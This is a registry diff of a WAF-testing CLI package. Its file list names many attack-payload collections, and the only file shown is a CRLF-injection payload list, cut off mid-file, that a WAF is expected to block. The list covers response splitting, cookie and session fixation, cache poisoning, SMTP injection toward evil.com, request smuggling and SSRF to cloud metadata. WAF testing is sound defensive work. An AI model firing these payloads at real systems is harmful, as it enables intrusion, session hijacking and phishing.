@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
package/payloads/community/injection/crlf.json ADDED
@@ -0,0 +1,569 @@
1
+ [
2
+ {
3
+ "id": "CRLF-RESPONSE-SPLIT-001",
4
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1",
5
+ "tags": ["crlf", "response-splitting", "cookie-injection", "critical"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "CRLF injection for Set-Cookie header injection",
9
+ "category": "Injection"
10
+ },
11
+ {
12
+ "id": "CRLF-RESPONSE-SPLIT-002",
13
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Injected</html>",
14
+ "tags": ["crlf", "response-splitting", "http-injection", "critical"],
15
+ "expected_block": true,
16
+ "severity_hint": "Critical",
17
+ "notes": "Full HTTP response injection via CRLF",
18
+ "category": "Injection"
19
+ },
20
+ {
21
+ "id": "CRLF-RESPONSE-SPLIT-003",
22
+ "payload": "GET /api/page?name=test%0d%0aX-Injected-Header:%20malicious HTTP/1.1",
23
+ "tags": ["crlf", "header-injection", "high"],
24
+ "expected_block": true,
25
+ "severity_hint": "High",
26
+ "notes": "Custom header injection via CRLF",
27
+ "category": "Injection"
28
+ },
29
+ {
30
+ "id": "CRLF-RESPONSE-SPLIT-004",
31
+ "payload": "GET /api/redirect?url=%0d%0aLocation:%20http://evil.com HTTP/1.1",
32
+ "tags": ["crlf", "open-redirect", "critical"],
33
+ "expected_block": true,
34
+ "severity_hint": "Critical",
35
+ "notes": "CRLF to inject Location header for redirect",
36
+ "category": "Injection"
37
+ },
38
+ {
39
+ "id": "CRLF-RESPONSE-SPLIT-005",
40
+ "payload": "GET /api/user?name=test%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<script>alert(1)</script>",
41
+ "tags": ["crlf", "xss", "response-splitting", "critical"],
42
+ "expected_block": true,
43
+ "severity_hint": "Critical",
44
+ "notes": "CRLF with XSS payload injection",
45
+ "category": "Injection"
46
+ },
47
+ {
48
+ "id": "CRLF-HEADER-001",
49
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nX-Forwarded-For: 127.0.0.1%0d%0aX-Admin:%20true",
50
+ "tags": ["crlf", "header-injection", "privilege-escalation", "critical"],
51
+ "expected_block": true,
52
+ "severity_hint": "Critical",
53
+ "notes": "Header injection via X-Forwarded-For",
54
+ "category": "Injection"
55
+ },
56
+ {
57
+ "id": "CRLF-HEADER-002",
58
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nUser-Agent: Mozilla%0d%0aX-Injected:%20value",
59
+ "tags": ["crlf", "header-injection", "user-agent", "high"],
60
+ "expected_block": true,
61
+ "severity_hint": "High",
62
+ "notes": "CRLF injection in User-Agent header",
63
+ "category": "Injection"
64
+ },
65
+ {
66
+ "id": "CRLF-HEADER-003",
67
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nReferer: http://legitimate.com%0d%0aCookie:%20session=hijacked",
68
+ "tags": ["crlf", "header-injection", "cookie-injection", "critical"],
69
+ "expected_block": true,
70
+ "severity_hint": "Critical",
71
+ "notes": "Cookie injection via CRLF in Referer",
72
+ "category": "Injection"
73
+ },
74
+ {
75
+ "id": "CRLF-HEADER-004",
76
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com%0d%0aX-Forwarded-Host:%20evil.com",
77
+ "tags": ["crlf", "host-header", "cache-poisoning", "critical"],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "CRLF in Host header for cache poisoning",
81
+ "category": "Injection"
82
+ },
83
+ {
84
+ "id": "CRLF-ENCODING-001",
85
+ "payload": "GET /api/redirect?url=http://example.com%0a%0dSet-Cookie:%20evil=true HTTP/1.1",
86
+ "tags": ["crlf", "encoding", "lf-cr", "critical"],
87
+ "expected_block": true,
88
+ "severity_hint": "Critical",
89
+ "notes": "LF-CR instead of CR-LF sequence",
90
+ "category": "Injection"
91
+ },
92
+ {
93
+ "id": "CRLF-ENCODING-002",
94
+ "payload": "GET /api/redirect?url=http://example.com%0dSet-Cookie:%20evil=true HTTP/1.1",
95
+ "tags": ["crlf", "encoding", "cr-only", "high"],
96
+ "expected_block": true,
97
+ "severity_hint": "High",
98
+ "notes": "CR-only line ending for header injection",
99
+ "category": "Injection"
100
+ },
101
+ {
102
+ "id": "CRLF-ENCODING-003",
103
+ "payload": "GET /api/redirect?url=http://example.com%0aSet-Cookie:%20evil=true HTTP/1.1",
104
+ "tags": ["crlf", "encoding", "lf-only", "high"],
105
+ "expected_block": true,
106
+ "severity_hint": "High",
107
+ "notes": "LF-only line ending for header injection",
108
+ "category": "Injection"
109
+ },
110
+ {
111
+ "id": "CRLF-ENCODING-004",
112
+ "payload": "GET /api/redirect?url=http://example.com%E5%98%8A%E5%98%8DSet-Cookie:%20evil=true HTTP/1.1",
113
+ "tags": ["crlf", "unicode", "bypass", "critical"],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "Unicode CRLF bypass (U+560A U+560D)",
117
+ "category": "Injection"
118
+ },
119
+ {
120
+ "id": "CRLF-ENCODING-005",
121
+ "payload": "GET /api/redirect?url=http://example.com%c0%8d%c0%8aSet-Cookie:%20evil=true HTTP/1.1",
122
+ "tags": ["crlf", "overlong-utf8", "bypass", "critical"],
123
+ "expected_block": true,
124
+ "severity_hint": "Critical",
125
+ "notes": "Overlong UTF-8 CRLF encoding bypass",
126
+ "category": "Injection"
127
+ },
128
+ {
129
+ "id": "CRLF-ENCODING-006",
130
+ "payload": "GET /api/redirect?url=http://example.com%250d%250aSet-Cookie:%20evil=true HTTP/1.1",
131
+ "tags": ["crlf", "double-encode", "bypass", "critical"],
132
+ "expected_block": true,
133
+ "severity_hint": "Critical",
134
+ "notes": "Double URL-encoded CRLF",
135
+ "category": "Injection"
136
+ },
137
+ {
138
+ "id": "CRLF-ENCODING-007",
139
+ "payload": "GET /api/redirect?url=http://example.com\\r\\nSet-Cookie:%20evil=true HTTP/1.1",
140
+ "tags": ["crlf", "escaped", "bypass", "high"],
141
+ "expected_block": true,
142
+ "severity_hint": "High",
143
+ "notes": "Backslash-escaped CRLF",
144
+ "category": "Injection"
145
+ },
146
+ {
147
+ "id": "CRLF-ENCODING-008",
148
+ "payload": "GET /api/redirect?url=http://example.com%u000d%u000aSet-Cookie:%20evil=true HTTP/1.1",
149
+ "tags": ["crlf", "iis-unicode", "bypass", "critical"],
150
+ "expected_block": true,
151
+ "severity_hint": "Critical",
152
+ "notes": "IIS %u Unicode CRLF encoding",
153
+ "category": "Injection"
154
+ },
155
+ {
156
+ "id": "CRLF-LOG-INJECTION-001",
157
+ "payload": "GET /api/login?user=admin%0d%0a[SUCCESS]%20admin%20logged%20in HTTP/1.1",
158
+ "tags": ["crlf", "log-injection", "forensics", "high"],
159
+ "expected_block": true,
160
+ "severity_hint": "High",
161
+ "notes": "Log injection via CRLF - fake success entry",
162
+ "category": "Injection"
163
+ },
164
+ {
165
+ "id": "CRLF-LOG-INJECTION-002",
166
+ "payload": "GET /api/action?type=transfer%0d%0a127.0.0.1%20-%20admin%20[timestamp]%20\"GET%20/admin%20HTTP/1.1\"%20200 HTTP/1.1",
167
+ "tags": ["crlf", "log-injection", "forensics", "high"],
168
+ "expected_block": true,
169
+ "severity_hint": "High",
170
+ "notes": "Log injection with fake access log entry",
171
+ "category": "Injection"
172
+ },
173
+ {
174
+ "id": "CRLF-SMTP-001",
175
+ "payload": "POST /api/contact HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nemail=test@example.com%0d%0aBcc:%20attacker@evil.com",
176
+ "tags": ["crlf", "smtp-injection", "email", "critical"],
177
+ "expected_block": true,
178
+ "severity_hint": "Critical",
179
+ "notes": "SMTP header injection via email form",
180
+ "category": "Injection"
181
+ },
182
+ {
183
+ "id": "CRLF-SMTP-002",
184
+ "payload": "POST /api/contact HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nfrom=test@example.com%0d%0aSubject:%20Phishing%0d%0a%0d%0aClick%20here:%20http://evil.com",
185
+ "tags": ["crlf", "smtp-injection", "email", "phishing", "critical"],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "Full email injection with custom body",
189
+ "category": "Injection"
190
+ },
191
+ {
192
+ "id": "CRLF-CACHE-POISON-001",
193
+ "payload": "GET /api/page HTTP/1.1\r\nHost: target.com\r\nX-Forwarded-Host: evil.com%0d%0aX-Forwarded-Proto:%20https",
194
+ "tags": ["crlf", "cache-poisoning", "critical"],
195
+ "expected_block": true,
196
+ "severity_hint": "Critical",
197
+ "notes": "Cache poisoning via CRLF header injection",
198
+ "category": "Injection"
199
+ },
200
+ {
201
+ "id": "CRLF-CACHE-POISON-002",
202
+ "payload": "GET /api/js/app.js HTTP/1.1\r\nHost: target.com%0d%0aX-Cache-Key:%20evil",
203
+ "tags": ["crlf", "cache-poisoning", "cache-key", "critical"],
204
+ "expected_block": true,
205
+ "severity_hint": "Critical",
206
+ "notes": "Cache key injection via CRLF in Host",
207
+ "category": "Injection"
208
+ },
209
+ {
210
+ "id": "CRLF-SESSION-FIXATION-001",
211
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aSet-Cookie:%20PHPSESSID=attacker_session HTTP/1.1",
212
+ "tags": ["crlf", "session-fixation", "cookie", "critical"],
213
+ "expected_block": true,
214
+ "severity_hint": "Critical",
215
+ "notes": "Session fixation via CRLF Set-Cookie injection",
216
+ "category": "Injection"
217
+ },
218
+ {
219
+ "id": "CRLF-SESSION-FIXATION-002",
220
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aSet-Cookie:%20JSESSIONID=attacker_session;%20Path=/;%20HttpOnly HTTP/1.1",
221
+ "tags": ["crlf", "session-fixation", "java", "critical"],
222
+ "expected_block": true,
223
+ "severity_hint": "Critical",
224
+ "notes": "Java session fixation with full cookie attributes",
225
+ "category": "Injection"
226
+ },
227
+ {
228
+ "id": "CRLF-XSS-001",
229
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>",
230
+ "tags": ["crlf", "xss", "response-splitting", "critical"],
231
+ "expected_block": true,
232
+ "severity_hint": "Critical",
233
+ "notes": "XSS via CRLF response body injection",
234
+ "category": "Injection"
235
+ },
236
+ {
237
+ "id": "CRLF-XSS-002",
238
+ "payload": "GET /api/data?callback=test%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a<script>alert(1)</script>",
239
+ "tags": ["crlf", "xss", "xss-protection-bypass", "critical"],
240
+ "expected_block": true,
241
+ "severity_hint": "Critical",
242
+ "notes": "XSS with X-XSS-Protection header bypass",
243
+ "category": "Injection"
244
+ },
245
+ {
246
+ "id": "CRLF-CORS-001",
247
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nOrigin: http://legitimate.com%0d%0aAccess-Control-Allow-Origin:%20http://evil.com",
248
+ "tags": ["crlf", "cors-bypass", "critical"],
249
+ "expected_block": true,
250
+ "severity_hint": "Critical",
251
+ "notes": "CORS bypass via CRLF header injection",
252
+ "category": "Injection"
253
+ },
254
+ {
255
+ "id": "CRLF-CORS-002",
256
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com%0d%0aAccess-Control-Allow-Origin:%20*%0d%0aAccess-Control-Allow-Credentials:%20true",
257
+ "tags": ["crlf", "cors-bypass", "credential-theft", "critical"],
258
+ "expected_block": true,
259
+ "severity_hint": "Critical",
260
+ "notes": "Inject permissive CORS headers with credentials",
261
+ "category": "Injection"
262
+ },
263
+ {
264
+ "id": "CRLF-CSP-BYPASS-001",
265
+ "payload": "GET /api/page HTTP/1.1\r\nHost: target.com%0d%0aContent-Security-Policy:%20default-src%20*",
266
+ "tags": ["crlf", "csp-bypass", "critical"],
267
+ "expected_block": true,
268
+ "severity_hint": "Critical",
269
+ "notes": "CSP bypass via CRLF header injection",
270
+ "category": "Injection"
271
+ },
272
+ {
273
+ "id": "CRLF-CSP-BYPASS-002",
274
+ "payload": "GET /api/page HTTP/1.1\r\nHost: target.com%0d%0aContent-Security-Policy:%20script-src%20'unsafe-inline'%20'unsafe-eval'",
275
+ "tags": ["crlf", "csp-bypass", "xss-enabler", "critical"],
276
+ "expected_block": true,
277
+ "severity_hint": "Critical",
278
+ "notes": "Inject permissive CSP allowing inline scripts",
279
+ "category": "Injection"
280
+ },
281
+ {
282
+ "id": "CRLF-WEBSOCKET-001",
283
+ "payload": "GET /api/ws HTTP/1.1\r\nHost: target.com\r\nUpgrade: websocket%0d%0aSec-WebSocket-Key:%20attacker_key",
284
+ "tags": ["crlf", "websocket", "hijacking", "critical"],
285
+ "expected_block": true,
286
+ "severity_hint": "Critical",
287
+ "notes": "WebSocket hijacking via CRLF in Upgrade header",
288
+ "category": "Injection"
289
+ },
290
+ {
291
+ "id": "CRLF-PATH-001",
292
+ "payload": "GET /api/file%0d%0aX-Injected:%20true HTTP/1.1",
293
+ "tags": ["crlf", "path-injection", "high"],
294
+ "expected_block": true,
295
+ "severity_hint": "High",
296
+ "notes": "CRLF injection in URL path",
297
+ "category": "Injection"
298
+ },
299
+ {
300
+ "id": "CRLF-PATH-002",
301
+ "payload": "GET /api/file%0d%0a%0d%0a<html>Injected</html> HTTP/1.1",
302
+ "tags": ["crlf", "path-injection", "response-body", "critical"],
303
+ "expected_block": true,
304
+ "severity_hint": "Critical",
305
+ "notes": "Full response body injection via URL path",
306
+ "category": "Injection"
307
+ },
308
+ {
309
+ "id": "CRLF-POST-BODY-001",
310
+ "payload": "POST /api/data HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nname=test%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>",
311
+ "tags": ["crlf", "post-body", "response-splitting", "critical"],
312
+ "expected_block": true,
313
+ "severity_hint": "Critical",
314
+ "notes": "Response splitting via POST body parameter",
315
+ "category": "Injection"
316
+ },
317
+ {
318
+ "id": "CRLF-JSON-001",
319
+ "payload": "POST /api/data HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"name\":\"test\\r\\nX-Injected: true\"}",
320
+ "tags": ["crlf", "json", "header-injection", "high"],
321
+ "expected_block": true,
322
+ "severity_hint": "High",
323
+ "notes": "CRLF in JSON value for header injection",
324
+ "category": "Injection"
325
+ },
326
+ {
327
+ "id": "CRLF-COOKIE-001",
328
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nCookie: session=abc%0d%0aX-Admin:%20true",
329
+ "tags": ["crlf", "cookie", "header-injection", "critical"],
330
+ "expected_block": true,
331
+ "severity_hint": "Critical",
332
+ "notes": "Header injection via CRLF in Cookie header",
333
+ "category": "Injection"
334
+ },
335
+ {
336
+ "id": "CRLF-MULTILINE-001",
337
+ "payload": "GET /api/redirect?url=http://example.com%0d%0aSet-Cookie:%20a=1%0d%0aSet-Cookie:%20b=2%0d%0aSet-Cookie:%20c=3 HTTP/1.1",
338
+ "tags": ["crlf", "multi-header", "cookie-injection", "critical"],
339
+ "expected_block": true,
340
+ "severity_hint": "Critical",
341
+ "notes": "Multiple cookie injection via single CRLF chain",
342
+ "category": "Injection"
343
+ },
344
+ {
345
+ "id": "CRLF-CHUNKED-001",
346
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com%0d%0aTransfer-Encoding:%20chunked",
347
+ "tags": ["crlf", "chunked", "smuggling", "critical"],
348
+ "expected_block": true,
349
+ "severity_hint": "Critical",
350
+ "notes": "Inject Transfer-Encoding for smuggling setup",
351
+ "category": "Injection"
352
+ },
353
+ {
354
+ "id": "CRLF-CONTENT-LENGTH-001",
355
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com%0d%0aContent-Length:%200%0d%0a%0d%0aPOST%20/admin%20HTTP/1.1",
356
+ "tags": ["crlf", "content-length", "request-smuggling", "critical"],
357
+ "expected_block": true,
358
+ "severity_hint": "Critical",
359
+ "notes": "Request smuggling via CRLF Content-Length injection",
360
+ "category": "Injection"
361
+ },
362
+ {
363
+ "id": "CRLF-HRS-001",
364
+ "payload": "GET /api/page%20HTTP/1.1%0d%0aHost:%20target.com%0d%0a%0d%0aGET%20/admin HTTP/1.1",
365
+ "tags": ["crlf", "request-splitting", "hrs", "critical"],
366
+ "expected_block": true,
367
+ "severity_hint": "Critical",
368
+ "notes": "HTTP Request Splitting via path injection",
369
+ "category": "Injection"
370
+ },
371
+ {
372
+ "id": "CRLF-CONTINUATION-001",
373
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nX-Custom: value%0d%0a%20continuation%0d%0aX-Injected:%20true",
374
+ "tags": ["crlf", "header-continuation", "bypass", "high"],
375
+ "expected_block": true,
376
+ "severity_hint": "High",
377
+ "notes": "Header continuation (obs-fold) abuse",
378
+ "category": "Injection"
379
+ },
380
+ {
381
+ "id": "CRLF-NULL-BYTE-001",
382
+ "payload": "GET /api/redirect?url=http://example.com%00%0d%0aSet-Cookie:%20evil=true HTTP/1.1",
383
+ "tags": ["crlf", "null-byte", "bypass", "critical"],
384
+ "expected_block": true,
385
+ "severity_hint": "Critical",
386
+ "notes": "Null byte before CRLF to bypass filters",
387
+ "category": "Injection"
388
+ },
389
+ {
390
+ "id": "CRLF-TAB-001",
391
+ "payload": "GET /api/redirect?url=http://example.com%0d%0a%09Set-Cookie:%20evil=true HTTP/1.1",
392
+ "tags": ["crlf", "tab", "whitespace-bypass", "high"],
393
+ "expected_block": true,
394
+ "severity_hint": "High",
395
+ "notes": "Tab character after CRLF for header confusion",
396
+ "category": "Injection"
397
+ },
398
+ {
399
+ "id": "CRLF-GRAPHQL-001",
400
+ "payload": "POST /graphql HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"query\":\"mutation { updateUser(name: \\\"test\\r\\nX-Admin: true\\\") }\"}",
401
+ "tags": ["crlf", "graphql", "header-injection", "critical"],
402
+ "expected_block": true,
403
+ "severity_hint": "Critical",
404
+ "notes": "CRLF injection in GraphQL mutation",
405
+ "category": "Injection"
406
+ },
407
+ {
408
+ "id": "CRLF-API-KEY-001",
409
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nX-API-Key: valid_key%0d%0aX-Admin-Key:%20backdoor",
410
+ "tags": ["crlf", "api-key", "privilege-escalation", "critical"],
411
+ "expected_block": true,
412
+ "severity_hint": "Critical",
413
+ "notes": "Admin key injection via CRLF in API key header",
414
+ "category": "Injection"
415
+ },
416
+ {
417
+ "id": "CRLF-AUTHORIZATION-001",
418
+ "payload": "GET /api/data HTTP/1.1\r\nHost: target.com\r\nAuthorization: Bearer token%0d%0aX-Override-Auth:%20admin",
419
+ "tags": ["crlf", "authorization", "bypass", "critical"],
420
+ "expected_block": true,
421
+ "severity_hint": "Critical",
422
+ "notes": "Auth bypass via CRLF in Authorization header",
423
+ "category": "Injection"
424
+ },
425
+ {
426
+ "id": "CRLF-SSRF-CHAIN-001",
427
+ "payload": "GET /api/proxy?url=http://internal%0d%0aHost:%20169.254.169.254 HTTP/1.1",
428
+ "tags": ["crlf", "ssrf", "cloud-metadata", "critical"],
429
+ "expected_block": true,
430
+ "severity_hint": "Critical",
431
+ "notes": "SSRF + CRLF to access cloud metadata",
432
+ "category": "Injection"
433
+ },
434
+ {
435
+ "id": "CRLF-LDAP-001",
436
+ "payload": "GET /api/user?dn=cn=admin%0d%0a%0d%0a HTTP/1.1",
437
+ "tags": ["crlf", "ldap", "injection", "high"],
438
+ "expected_block": true,
439
+ "severity_hint": "High",
440
+ "notes": "CRLF in LDAP DN parameter",
441
+ "category": "Injection"
442
+ },
443
+ {
444
+ "id": "CRLF-REDIS-001",
445
+ "payload": "GET /api/cache?key=test%0d%0aSET%20admin%20true%0d%0a HTTP/1.1",
446
+ "tags": ["crlf", "redis", "command-injection", "critical"],
447
+ "expected_block": true,
448
+ "severity_hint": "Critical",
449
+ "notes": "Redis command injection via CRLF",
450
+ "category": "Injection"
451
+ },
452
+ {
453
+ "id": "CRLF-MEMCACHED-001",
454
+ "payload": "GET /api/cache?key=test%0d%0aset%20admin%200%200%201%0d%0a1%0d%0a HTTP/1.1",
455
+ "tags": ["crlf", "memcached", "command-injection", "critical"],
456
+ "expected_block": true,
457
+ "severity_hint": "Critical",
458
+ "notes": "Memcached command injection via CRLF",
459
+ "category": "Injection"
460
+ },
461
+ {
462
+ "id": "CRLF-FTP-001",
463
+ "payload": "GET /api/download?file=test.txt%0d%0aUSER%20anonymous%0d%0aPASS%20evil@example.com%0d%0a HTTP/1.1",
464
+ "tags": ["crlf", "ftp", "command-injection", "high"],
465
+ "expected_block": true,
466
+ "severity_hint": "High",
467
+ "notes": "FTP command injection via CRLF",
468
+ "category": "Injection"
469
+ },
470
+ {
471
+ "id": "CRLF-IMAP-001",
472
+ "payload": "GET /api/email?folder=INBOX%0d%0aLOGIN%20admin%20password%0d%0a HTTP/1.1",
473
+ "tags": ["crlf", "imap", "command-injection", "critical"],
474
+ "expected_block": true,
475
+ "severity_hint": "Critical",
476
+ "notes": "IMAP command injection via CRLF",
477
+ "category": "Injection"
478
+ },
479
+ {
480
+ "id": "CRLF-PERCENT-ENCODED-MIXED-001",
481
+ "payload": "GET /api/redirect?url=http://example.com%0D%0aSet-Cookie:%20evil=true HTTP/1.1",
482
+ "tags": ["crlf", "mixed-encoding", "bypass", "critical"],
483
+ "expected_block": true,
484
+ "severity_hint": "Critical",
485
+ "notes": "Mixed case percent encoding (uppercase D, lowercase a)",
486
+ "category": "Injection"
487
+ },
488
+ {
489
